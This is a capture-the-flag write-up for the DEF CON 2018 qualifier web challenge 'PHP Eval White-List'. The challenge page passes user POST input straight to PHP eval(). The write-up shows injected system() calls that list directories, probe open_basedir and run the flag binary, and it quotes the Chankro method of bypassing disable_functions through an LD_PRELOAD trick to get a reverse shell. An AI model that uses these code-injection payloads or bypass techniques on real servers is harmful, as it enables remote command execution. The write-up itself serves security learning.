Information#
Version#
By | Version | Comment |
---|---|---|
noraj | 1.0 | Creation |
CTF#
- Name : DEF CON CTF Qualifier 2018
- Website : oooverflow.io
- Type : Online
- Format : Jeopardy
- CTF Time : link
PHP Eval White-List - Web#
PHP was dangerous, so we've fixed it!
http://c67f8ffd.quals2018.oooverflow.io
Files:
websec_eval_wl.so
Quick way#
Read the PHP source code (http://c67f8ffd.quals2018.oooverflow.io/source.txt):
[...]
<?php
if (isset($_POST['d'])) {
eval($_POST['d']);
} else {
echo 'Can you execute the <code>./flag</code> binary?';
}?>
[...]
So the user input is directly evaluated.
Want to exec something on the system? Let's use system()
.
Let's try system('id');
:
/var/www/html
uid=33(www-data) gid=33(www-data) groups=33(www-data)
The description says:
prevent you from accessing the
flag
binary up the current folder.
So the flag
must be in ../
system("../flag");
OOO{Fortunately_php_has_some_rock_solid_defense_in_depth_mecanisms,_so-everything_is_fine.}
Longer way#
The challenge is tagged as web and reverse and they provide us the custom php extension.
As I'm not a reverser I just used strings
:
[...]
%s has an invalid type, please give it a string.
/home/vagrant/src/websec_eval_wl.c
The command doesn't have the expected size...
Err, please don't use null bytes...
The parameter '%s' isn't `/bin/id`, sorry :/
Haven't found '%s', read to hook.
Could not save function pointer for %s
The function '%s' isn't in the eval whitelist, dropping its call.
/bin/id
system
Found '%s', read to hook.
'%s' is hooked!
Init done!
function_pointer_saving
enabled
websec_eval_wl support
strcmp
/home/vagrant/src/utils.c
shell_exec
proc_open
passthru
popen
pcntl_exec
websec_eval_wl
API20151012,NTS
printf
strlen
;*3$"
GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.9) 5.4.0 20160609
[...]
This looks like shell_exec
, proc_open
, passthru
, popen
, pcntl_exec
is a whitelist and the title of the web page is Custom eval whitelisting
.
But we can use system()
. So I don't know if there was real whitelisting or if it was a troll.
system('ls -lA');
total 168
-rw-r--r-- 1 root root 108376 May 5 04:58 bootstrap.min.css
-rw-r--r-- 1 root root 1672 May 12 18:09 index.php
-rw-r--r-- 1 root root 155 May 5 04:58 source.php
-rw-r--r-- 1 root root 1672 May 12 18:09 source.txt
d-wx-wx-wx 2 root root 12288 May 13 14:37 tmp
-rw-r--r-- 1 root root 33784 May 5 04:58 websec_eval_wl.so
print_r(scandir('.'));
Array
(
[0] => .
[1] => ..
[2] => bootstrap.min.css
[3] => index.php
[4] => source.php
[5] => source.txt
[6] => tmp
[7] => websec_eval_wl.so
)
system('ls -lA ..');
=> displays nothing
print_r(scandir('..'));
Warning: scandir(): open_basedir restriction in effect. File(..) is not within the allowed path(s): (/var/www/html/) in /var/www/html/index.php(44) : eval()'d code on line 1
Warning: scandir(..): failed to open dir: Operation not permitted in /var/www/html/index.php(44) : eval()'d code on line 1
Warning: scandir(): (errno 1): Operation not permitted in /var/www/html/index.php(44) : eval()'d code on line 1
At least there is really the open_basedir
enforcement.
As the description suggests I read the open_basedir page of the PHP manual.
There is a note suggesting that PHP 5.3.0 is vulnerable:
As of PHP 5.3.0 open_basedir can be tightened at run-time. This means that if open_basedir is set to /www/ in php.ini a script can tighten the configuration to /www/tmp/ at run-time with ini_set(). When listing several directories, you can use the PATH_SEPARATOR constant as a separator regardless of the operating system.
So let's check the PHP version:
phpinfo();
=> PHP Version 7.0.28-0ubuntu0.16.04.1
, so that's not the path to follow.
The start page was displaying Can you execute the ./flag binary?
and we are in /var/www/html/
(system('pwd');
) so I first thought that the flag was in /var/www/html/flag
but this is impossible as we saw it didn't exist by doing some file listing.
As I said in the quick way write-up, there is also this in the description:
prevent you from accessing the
flag
binary up the current folder.
So the flag may be in /var/www/flag
.
system("ls -l ../flag");
---x--x--x 1 root root 8600 May 11 16:29 ../flag
The description said Can you execute
it and effectively it is only executable so it's useless to try to read it by any way.
system("../flag");
OOO{Fortunately_php_has_some_rock_solid_defense_in_depth_mecanisms,_so-everything_is_fine.}
Note: passthru("../flag");
and a lot of other commands are working because there is no filtering (at least I didn't see any).
Bonus#
I was starting to read How to bypass disable_functions and open_basedir by Tarlogic.
From their github:
Chankro
Your favourite tool to bypass disable_functions and open_basedir in your > pentests.
How it works#
PHP in Linux calls a binary (sendmail) when the mail() function is executed. If we > have putenv() allowed, we can set the enviroment variable "LD_PRELOAD", so we can > preload an arbitrary shared object. Our shared object will execute our custom payload > (a binary or a bash script) without the PHP restrictions, so we can have a reverse > shell, for example.
It's a good read even if it was not useful for this challenge.